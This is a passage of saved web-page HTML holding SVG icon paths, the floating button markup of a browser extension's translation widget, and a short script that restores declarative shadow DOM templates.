14.5286 16.3343 14.426L13.6629 12.9517C13.5702 12.9012 13.4886 12.8327 13.4228 12.7503C13.357 12.6678 13.3084 12.573 13.2798 12.4714C13.2512 12.3698 13.2431 12.2636 13.2562 12.1589C13.2692 12.0542 13.3031 11.9532 13.3558 11.8617C13.4731 11.6789 13.655 11.547 13.8653 11.4925C14.0755 11.4379 14.2986 11.4647 14.49 11.5674L17.1615 13.0417C17.5629 13.2689 17.7043 13.7446 17.4686 14.1303Z" fill=#ABA9AA></path><path opacity=0.7 d="M14.1 17.4686C13.9026 17.5814 13.6689 17.6124 13.4489 17.555C13.2288 17.4976 13.04 17.3564 12.9229 17.1615L11.3315 14.4972C11.0872 14.0972 11.2329 13.6015 11.65 13.3658C11.8472 13.2533 12.0804 13.2224 12.3001 13.2795C12.5197 13.3366 12.7084 13.4773 12.8257 13.6715L14.4172 16.3358C14.6372 16.7372 14.5157 17.2558 14.0986 17.4686H14.1Z" fill=#B2B2B2></path><path opacity=0.6 d="M9.42859 18.8571C9.01431 18.8571 8.66431 18.4699 8.66431 18.0099V14.8628C8.66431 14.4028 9.01288 14.0156 9.42859 14.0156C9.84288 14.0156 10.1929 14.4028 10.1929 14.8628V18.0099C10.1929 18.4699 9.84431 18.8571 9.42859 18.8571Z" fill=#BAB8B9></path><path opacity=0.5 d="M4.72717 17.4685C4.5441 17.3514 4.41195 17.1696 4.35713 16.9593C4.30231 16.749 4.32885 16.5258 4.43145 16.3342L5.90574 13.6628C5.95622 13.5701 6.02472 13.4885 6.1072 13.4227C6.18969 13.3569 6.2845 13.3083 6.38606 13.2797C6.48762 13.251 6.59387 13.243 6.69857 13.2561C6.80327 13.2691 6.90431 13.303 6.99574 13.3556C7.38145 13.5914 7.49431 14.0885 7.29002 14.4899L5.81574 17.1614C5.5886 17.5628 5.11288 17.7042 4.72717 17.4685Z" fill=#C2C0C1></path><path opacity=0.4 d="M1.38862 14.1002C1.27584 13.9027 1.24483 13.669 1.30223 13.449C1.35964 13.229 1.50089 13.0402 1.69576 12.923L4.36004 11.3316C4.76004 11.0873 5.25576 11.233 5.49147 11.6502C5.60393 11.8473 5.63491 12.0806 5.5778 12.3002C5.52069 12.5199 5.38 12.7085 5.18576 12.8259L2.52004 14.4173C2.12004 14.6373 1.60004 14.5159 1.38862 14.0987V14.1002Z" fill=#CBCBCB></path><path d="M0 9.42835C0 9.01406 0.387143 8.66406 0.847143 8.66406H3.99429C4.45429 8.66406 4.84143 9.01263 4.84143 9.42835C4.84143 9.84263 4.45571 10.1926 3.99429 10.1926H0.847143C0.387143 10.1926 0 9.84406 0 9.42835Z" fill=#D2D2D2></path><path opacity=0.2 d="M1.38852 4.72705C1.50561 4.54398 1.68746 4.41183 1.89774 4.35701C2.10803 4.30219 2.33125 4.32873 2.52281 4.43133L5.19424 5.90562C5.28689 5.9561 5.36851 6.0246 5.43431 6.10708C5.5001 6.18957 5.54874 6.28438 5.57735 6.38594C5.60597 6.48749 5.61399 6.59375 5.60094 6.69845C5.5879 6.80315 5.55405 6.90419 5.50138 6.99562C5.38407 7.17844 5.20212 7.31029 4.99186 7.36484C4.78159 7.4194 4.55849 7.39263 4.3671 7.2899L1.69567 5.81562C1.29424 5.58847 1.15281 5.11276 1.38852 4.72705Z" fill=#DADADA></path><path d="M4.75719 1.38849C4.95463 1.27571 5.18837 1.24471 5.40838 1.30211C5.62838 1.35952 5.81718 1.50077 5.93434 1.69564L7.52577 4.35992C7.77005 4.75992 7.62434 5.25564 7.20719 5.49135C7.01006 5.60381 6.77679 5.63479 6.55714 5.57768C6.33749 5.52056 6.14886 5.37988 6.03148 5.18564L4.44005 2.51992C4.22005 2.11992 4.34148 1.59992 4.75862 1.38849H4.75719Z" fill=#E2E2E2></path></svg></div><div class="imt-fb-more-buttons btn-animate" style=margin-top:12px;transform:translateX(60px)><div class=btn-animate style=position:relative;pointer-events:all;display:inline-block><div><div class=imt-fb-more-button><svg width=18 height=18 viewBox="0 0 18 18" fill=none xmlns=http://www.w3.org/2000/svg><path fill-rule=evenodd clip-rule=evenodd d="M11.6861 1L15.2353 4.54635V7.11765V14.6471V15.5882C15.2353 15.9627 15.0866 16.3217 14.8218 16.5865C14.557 16.8513 14.198 17 13.8235 17H4.41176C4.03734 17 3.67825 16.8513 3.4135 16.5865C3.14874 16.3217 3 15.9627 3 15.5882V14.6471V7.11765V2.41176C3 2.03734 3.14874 1.67825 3.4135 1.4135C3.67825 1.14874 4.03734 1 4.41176 1H11.6861ZM11.8692 3.17882V4.74212H13.4334L11.8692 3.17882ZM4.41171 15.5882V14.647V2.41176H10.4574L10.4578 6.15341H13.8235V14.647V15.5882H4.41171ZM12.7739 7.51746H5.46094V8.6155H12.7739V7.51746ZM5.46094 9.98805H12.7739V11.0861H5.46094V9.98805ZM9.5127 12.36H5.46094V13.458H9.5127V12.36Z" fill=#6C6F73></path></svg></div></div></div><div class=btn-animate style=position:relative;pointer-events:all;display:inline-block><div><div class=imt-fb-more-button><svg width=16 height=16 viewBox="0 0 16 16" fill=none xmlns=http://www.w3.org/2000/svg><path d="M6.55741 0L9.06847 0.00329403C9.84824 0.00470579 10.4802 0.636235 10.4812 1.41647L10.4821 1.82588C10.9687 2.0278 11.4297 2.28671 11.8553 2.59718L12.1913 2.40329C12.516 2.21676 12.9013 2.1665 13.2629 2.26352C13.6246 2.36055 13.933 2.59695 14.1207 2.92094L15.3795 5.09365C15.5601 5.40546 15.6149 5.7744 15.5328 6.12523C15.4507 6.47606 15.2378 6.78235 14.9376 6.98165L14.8609 7.02871L14.5235 7.22353C14.5819 7.76273 14.5736 8.30708 14.4986 8.84424L14.7372 8.98259C15.0496 9.16307 15.2812 9.45606 15.3848 9.80165C15.4884 10.1472 15.456 10.5193 15.2944 10.8419L15.2553 10.9153L14.076 12.9576C13.8955 13.27 13.6025 13.5017 13.2569 13.6053C12.9113 13.7088 12.5392 13.6765 12.2167 13.5148L12.1433 13.4753L11.8172 13.2871C11.4074 13.5817 10.9651 13.8283 10.4991 14.0221L10.4995 14.5831C10.5 14.9434 10.3629 15.2904 10.1163 15.5532C9.86972 15.816 9.53215 15.9748 9.17247 15.9972L9.08306 16L6.57153 15.9967C6.19697 15.9961 5.83793 15.847 5.57312 15.5821C5.30831 15.3172 5.15932 14.9581 5.15883 14.5835L5.15788 13.9073C4.76852 13.7244 4.39771 13.5044 4.05059 13.2504L3.44918 13.5967C3.12448 13.7834 2.73902 13.8337 2.37726 13.7367C2.01551 13.6397 1.70698 13.4032 1.5193 13.0791L0.260473 10.9064C0.0799611 10.5945 0.0252226 10.2255 0.107423 9.87467C0.189623 9.52384 0.402569 9.21757 0.702826 9.01835L0.779062 8.97129L1.3913 8.61835C1.34424 8.17129 1.34188 7.71765 1.38706 7.26494L0.707532 6.87247C0.395061 6.69207 0.163305 6.39911 0.0596515 6.05351C-0.0440025 5.70791 -0.0117246 5.33577 0.149885 5.01318L0.189415 4.93976L1.36871 2.89741C1.54919 2.58502 1.84218 2.35337 2.18777 2.2498C2.53336 2.14624 2.90547 2.17859 3.228 2.34023L3.30141 2.37976L3.89436 2.72188C4.28027 2.42082 4.69854 2.1637 5.14141 1.95529L5.14047 1.41694C5.14001 1.05657 5.27707 0.709596 5.52367 0.446813C5.77028 0.184029 6.10786 0.0252343 6.46753 0.00282354L6.55741 0ZM6.55553 1.41506L6.55694 2.85271L5.74377 3.23576C5.39553 3.39906 5.06706 3.60094 4.764 3.83718L4.01247 4.424L2.62941 3.62494L2.59365 3.60518L1.41483 5.64753L2.88636 6.49694L2.79506 7.40612C2.75968 7.7598 2.76078 8.11619 2.79836 8.46965L2.8953 9.38541L1.48494 10.1976L2.7433 12.3704L4.14377 11.5647L4.88636 12.1087C5.15997 12.309 5.45231 12.4823 5.7593 12.6264L6.57106 13.008L6.57388 14.5816L9.08447 14.5849L9.08306 13.0791L9.95553 12.7158C10.3216 12.5635 10.6689 12.3698 10.9908 12.1384L11.7329 11.6047L12.8506 12.2499L14.0289 10.2075L12.9654 9.592L13.0972 8.64847C13.1561 8.22659 13.1628 7.79904 13.1169 7.37553L13.0181 6.45882L14.1555 5.80235L12.8967 3.62965L11.7645 4.28235L11.0214 3.74024C10.686 3.4956 10.3229 3.29152 9.93953 3.13224L9.06894 2.77082L9.06659 1.41835L6.55553 1.41506ZM9.37153 5.47624C10.0214 5.85201 10.4955 6.47036 10.6898 7.19547C10.8841 7.92058 10.7827 8.69316 10.4078 9.34353C10.2223 9.66543 9.97517 9.9476 9.68053 10.1739C9.38589 10.4002 9.04953 10.5662 8.69068 10.6623C8.33183 10.7585 7.95754 10.7829 7.58923 10.7343C7.22092 10.6856 6.86582 10.5648 6.54424 10.3788C5.89445 10.003 5.4204 9.38458 5.2262 8.65948C5.032 7.93438 5.13352 7.16184 5.50847 6.51153C5.69395 6.18963 5.94107 5.90746 6.23571 5.68117C6.53034 5.45488 6.86671 5.28891 7.22556 5.19275C7.58441 5.09659 7.9587 5.07213 8.32701 5.12077C8.69532 5.16942 9.05042 5.29021 9.372 5.47624H9.37153ZM6.73388 7.21835C6.54638 7.54388 6.49567 7.9305 6.5929 8.29336C6.69012 8.65623 6.92733 8.96571 7.25247 9.15388C7.41305 9.24679 7.59037 9.30712 7.77429 9.33143C7.9582 9.35574 8.14511 9.34355 8.32431 9.29556C8.50351 9.24757 8.67149 9.16472 8.81864 9.05174C8.96579 8.93877 9.08923 8.7979 9.18188 8.63718C9.55883 7.98353 9.356 7.15435 8.73435 6.74494L8.66377 6.70118L8.59035 6.66165C8.26834 6.49988 7.89663 6.46742 7.55145 6.57093C7.20626 6.67444 6.91375 6.90608 6.73388 7.21835Z" fill=#6C6F73></path></svg></div></div></div></div><div hidden class="imt-fb-more-buttons btn-animate sf-hidden" style=margin-top:12px;transform:translateX(60px)></div></div></div></template></div><script data-template-shadow-root>(()=>{document.currentScript.remove();processNode(document);function processNode(node){node.querySelectorAll("template[shadowrootmode]").forEach(element=>{let shadowRoot = element.parentElement.shadowRoot;if (!shadowRoot) {try {shadowRoot=element.parentElement.attachShadow({mode:element.getAttribute("shadowrootmode"),delegatesFocus:element.getAttribute("shadowrootdelegatesfocus")!=null,clonable:element.getAttribute("shadowrootclonable")!=null,serializable:element.getAttribute("shadowrootserializable")!=null});shadowRoot.innerHTML=element.innerHTML;element.remove()} catch (error) {} if (shadowRoot) {processNode(shadowRoot)}}})}})()</script>